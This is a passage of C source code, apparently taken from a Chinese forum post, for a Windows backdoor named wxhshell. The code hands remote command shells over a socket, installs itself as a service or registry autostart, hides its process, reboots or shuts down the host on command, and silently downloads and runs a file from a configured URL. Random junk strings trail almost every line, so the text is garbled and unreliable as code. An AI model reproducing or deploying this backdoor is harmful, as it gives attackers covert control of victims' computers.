      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nA P.^_K  
    break; /I)yU>o  
  } Q2 zjZC*'%  
  // 安装 } @K FB  
  case 'i': { `D`sr[3n  
    if(Install()) [[>wB[w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I4i2+ *l}  
    else ?_"+^R z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j7sKsbb  
    break; U>V&-kxtV  
    } >=UF-xk;  
  // 卸载 w=LP"bqlI  
  case 'r': { c6nflk.l  
    if(Uninstall()) tj Gd )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OR}c)|1  
    else H|R T?Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ][W_[0v  
    break; K?s+3  
    } FDVcow*]n  
  // 显示 wxhshell 所在路径 l5\"9 ,<  
  case 'p': { UNPezHaz  
    char svExeFile[MAX_PATH]; w QNxL5B  
    strcpy(svExeFile,"\n\r"); Bn61AFy`  
      strcat(svExeFile,ExeFile); ,hq)1u  
        send(wsh,svExeFile,strlen(svExeFile),0); AZa 6 C w  
    break; Kv.>Vf.T}_  
    } .so[I  
  // 重启 jy giG&H  
  case 'b': { Qtbbb3m;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ku\Y'ub  
    if(Boot(REBOOT)) 0A,]$Fzt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +n<k)E@>J  
    else { ]%BWIqbr  
    closesocket(wsh); dxZu2&gi  
    ExitThread(0); Ix(?fO#uNF  
    } UJfEC0  
    break; YqPQ%  
    } ;]gP@h/  
  // 关机 oqLfesV~  
  case 'd': { {"&SJt[%X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /1x,h"T\<  
    if(Boot(SHUTDOWN)) 'XzXZJ[uq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZO4*sIw%  
    else { @+9<O0  
    closesocket(wsh); %^1cyk  
    ExitThread(0); ,WvY$_#xW%  
    } K_2|_MLlZ  
    break; EL8NZ%:v:  
    } yaG= j  
  // 获取shell U Z|HJ8_  
  case 's': { dbOdq  
    CmdShell(wsh); FXzFHU/dP  
    closesocket(wsh); z I+\Oll#Q  
    ExitThread(0); H ,+? t  
    break; NPd%M  
  } =JKv:</.G  
  // 退出 mt5KbA>nU  
  case 'x': { cs1l~bl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6ezS{Q  
    CloseIt(wsh); Tszp3,]f  
    break; 34wkzu  
    } *^RmjW1I  
  // 离开 $ &P >r  
  case 'q': { [5uRS}!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A |3tI  
    closesocket(wsh); G7)Fk%>  
    WSACleanup(); 3,]gEE3  
    exit(1); RjWqGr;bO  
    break; -i4&v7"  
        } $KLD2BAL  
  } 8}fu,$$5  
  } 05snuNt]-  
iJZ/jCI  
  // 提示信息 +V{7")px6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8E4mA5@   
} `2`\]X_A{  
  } ] )F7)  
@BrMl%gV  
  return; x7vctjM|  
} u`olW%C/T  
Q>R>R*1.j  
// shell模块句柄 : C b&v07  
int CmdShell(SOCKET sock) ZR$'u%+g'  
{ rp6q?3=g  
STARTUPINFO si; j6  
ZeroMemory(&si,sizeof(si)); >IX/< {);M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )r[&RGz6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hSK;V<$[Z  
PROCESS_INFORMATION ProcessInfo; V^hE}`>z&  
char cmdline[]="cmd"; ZVbl88,(l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e]T`ot#/  
  return 0; C=s1R;"H  
} !A>z(eIsv`  
?UK|>9y}Z  
// 自身启动模式 !^v5-xO?rP  
int StartFromService(void) \=0V uz  
{ <`jLY)sw  
typedef struct zO V=9"~{  
{ 2-"0 ^n{  
  DWORD ExitStatus; ;U<rc'qE  
  DWORD PebBaseAddress; Iw<jT|y)  
  DWORD AffinityMask; @^;j)%F}  
  DWORD BasePriority; rz"txN  
  ULONG UniqueProcessId; w|CZ7|6  
  ULONG InheritedFromUniqueProcessId; s TOa  
}   PROCESS_BASIC_INFORMATION; RGn!{=  
Z0`T\ay  
PROCNTQSIP NtQueryInformationProcess; ;L|uIg;.s  
} g3+{\x8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2_ :n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  P\]B<  
70lfb`  
  HANDLE             hProcess; U,+[5sbo  
  PROCESS_BASIC_INFORMATION pbi; P i Fm|  
Fbu5PWhlc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RN)dS>$  
  if(NULL == hInst ) return 0; 3SSm5{197  
4;HJ;0-ps  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dB+N\HBY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n!')wIk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5C"QE8R o  
<5G{"U+ \  
  if (!NtQueryInformationProcess) return 0; BW"&6t#kA  
N`E-+9L)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8/t$d#xHI  
  if(!hProcess) return 0; h'$QC )P  
/'Pd`Nxl.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]uspx [UIc  
xil[#W]7Ge  
  CloseHandle(hProcess); 9}c8Xt^&  
XxDaz1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wHIj<"2  
if(hProcess==NULL) return 0; %?aS#4jI  
pGSai &  
HMODULE hMod; Yk42(!  
char procName[255]; ?x^z]N|P  
unsigned long cbNeeded; p-%|P ]&  
}gkM^*$:%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6G}+gqbX  
(_4;') 9  
  CloseHandle(hProcess); H"Klj_<dH0  
tX!n sm1  
if(strstr(procName,"services")) return 1; // 以服务启动 *xE,sj+(  
hoT/KWD,  
  return 0; // 注册表启动 U:MPgtwe  
} G&;j6<hl  
.XkMk|t8  
// 主模块 c*`>9mv  
int StartWxhshell(LPSTR lpCmdLine) .>wv\i [p  
{ =?h~.lo  
  SOCKET wsl; 7 Sa1;%R  
BOOL val=TRUE; }|B=h  
  int port=0; 2"fO6!hh  
  struct sockaddr_in door; ^'p|!`:  
A~Xq,BxCV  
  if(wscfg.ws_autoins) Install(); Mc-)OtmG[  
15$4&=O  
port=atoi(lpCmdLine); Qu< Bu)`  
T6pLoaKu  
if(port<=0) port=wscfg.ws_port; *jMk/9oa<N  
0aoHKeP  
  WSADATA data; v+e|o:o#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9S[XTU  
>a1{397Y}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;. wX@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QRLJ_W^&u  
  door.sin_family = AF_INET; /%A;mlf{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M(d6Z2ibh  
  door.sin_port = htons(port); YUQtMf9  
pG^}Xf2a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O)kg B rB  
closesocket(wsl); !;6Jng%  
return 1; "xAWG$b  
} :K?0e `  
q8:{Nk  
  if(listen(wsl,2) == INVALID_SOCKET) { tRw@U4=y  
closesocket(wsl); X%bFN  
return 1; 0t#g }  
} cL8#S>>u.  
  Wxhshell(wsl); .Hc(y7HV  
  WSACleanup(); okq[ o90  
N~pIC2Woo  
return 0; r}u%#G+K,  
I _i6-<c.Q  
} xsjO)))f  
pPVRsXy  
// 以NT服务方式启动 s cdtWA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7([h4bg{  
{ +Z!;P Z6  
DWORD   status = 0; =2y8 CgLj  
  DWORD   specificError = 0xfffffff; \n9A^v`F/  
F8e<}v&7R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i#X!#vyc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^MD;"A<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7n)&FX K`  
  serviceStatus.dwWin32ExitCode     = 0; uhV0J97  
  serviceStatus.dwServiceSpecificExitCode = 0; XYx 6V  
  serviceStatus.dwCheckPoint       = 0; gPzL*6OS A  
  serviceStatus.dwWaitHint       = 0; NZu)j["  
j<pw\k{i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7@a 0$coP  
  if (hServiceStatusHandle==0) return; `>D9P_Y"jI  
7%OKH<i\2<  
status = GetLastError(); 9Q W&$n^  
  if (status!=NO_ERROR) O3n_N6| q  
{ (#q<\`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4R>zPEo  
    serviceStatus.dwCheckPoint       = 0; o2-@o= F  
    serviceStatus.dwWaitHint       = 0; ;r=b|B9c  
    serviceStatus.dwWin32ExitCode     = status; R7~Yw*#,  
    serviceStatus.dwServiceSpecificExitCode = specificError; BO.dz06(Rw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f>$h@/-*  
    return;  Voh hQ  
  } 5)zn:$cz  
(1pEEq84  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8_d -81Dd  
  serviceStatus.dwCheckPoint       = 0; 1Q}mf!Y  
  serviceStatus.dwWaitHint       = 0; %HtuR2#ca  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6Ggs JU  
} !C:rb   
:f'&z47  
// 处理NT服务事件,比如:启动、停止 '#O_}|ZN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kE;O7sN   
{ "`A:(<x  
switch(fdwControl) !c<wS Q,  
{ =He. fEy  
case SERVICE_CONTROL_STOP: pz_e=xr  
  serviceStatus.dwWin32ExitCode = 0; LT+3q%W.UC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dMl+ko  
  serviceStatus.dwCheckPoint   = 0; YEYY}/YX  
  serviceStatus.dwWaitHint     = 0; Qq0l* )mX  
  { b'x$2K;E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *i$ePVU  
  } |'HLz=5\  
  return; AB.(CS=i  
case SERVICE_CONTROL_PAUSE: .g\6g~n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TTI81:fku  
  break; =OTm2:j#yQ  
case SERVICE_CONTROL_CONTINUE: 77gysd\(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xPmN},i'R$  
  break; BOf1J1  
case SERVICE_CONTROL_INTERROGATE: 1 [z'G)v  
  break; 7N2\8kP  
};  eIPG#A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~@I@}n  
} m4ApHM2  
NB8&   
// 标准应用程序主函数 1M%S gV-#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !)NidG  
{ ]Ql 0v"` F  
OCyG_DLT$5  
// 获取操作系统版本 !UV5zmS  
OsIsNt=GetOsVer(); N:+ taz-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fW0$s`  
/k:$l9C[  
  // 从命令行安装 83 ]PA<R  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'bW5Fr>W  
xc'vS>&  
  // 下载执行文件 1 H4fJ3-  
if(wscfg.ws_downexe) { X=p"5hhfn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #] KgUc5B  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8IY19>4'5J  
} yOHXY&  
3" Vd==oK~  
if(!OsIsNt) { e(\I_  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Am-vhpm  
HideProc(); ;q#]-^  
StartWxhshell(lpCmdLine); fu\s`W6f&  
} iL?iz?+.%@  
else (fk5'  
  if(StartFromService()) "-i#BjZl/  
  // 以服务方式启动 }HZ{(?  
  StartServiceCtrlDispatcher(DispatchTable); 5vZ#b\;#V  
else EO"C8z'al  
  // 普通方式启动 p6 xPheD  
  StartWxhshell(lpCmdLine); ?F$6;N6x  
BD;H   
return 0; zQuM !.  
}
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只看该作者 1 发表于: 2006-10-10
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